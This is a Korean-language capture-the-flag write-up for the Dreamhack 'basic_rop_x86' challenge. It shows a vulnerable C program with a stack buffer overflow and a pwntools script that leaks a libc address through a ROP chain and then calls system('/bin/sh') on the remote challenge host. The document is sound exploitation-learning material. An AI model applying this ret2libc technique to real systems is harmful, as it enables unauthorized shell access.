libc 파일도 함께 주었다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
read 함수에서 BOF가 발생한다. libc_base를 구하고 system을 실행해주면 되겠다.
#p = process('./basic_rop_x86')
p = remote('host3.dreamhack.games', 20245)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')
write_plt = e.plt['write']
write_got = e.got['write']
write_offset = 0xd43c0
main = e.symbols['main']
pppr = 0x08048689
system_offset = 0x3a940
binsh_offset = list(libc.search('/bin/sh'))[0]
payload = 'A' * 0x48 + p32(write_plt) + p32(pppr) + p32(1) + p32(write_got) + p32(4) + p32(main)
p.send(payload)
p.recvuntil('A' * 0x40)
write_addr = u32(p.recvn(4))
libc_base = write_addr - write_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
payload = 'A' * 0x48 + p32(system_addr) + 'AAAA' + p32(binsh_addr)
p.send(payload)
p.interactive()
첫 번째 ROP에서 write_plt + pppr + 1 + write_got + 4 + main 을 해주어 write_addr을 구할 수 있게 된다.
이를 구하면 오프셋을 통해 libc_base를 구할 수 있고, 두 번째 RET에서 system("/bin/sh")를 실행하게 된다.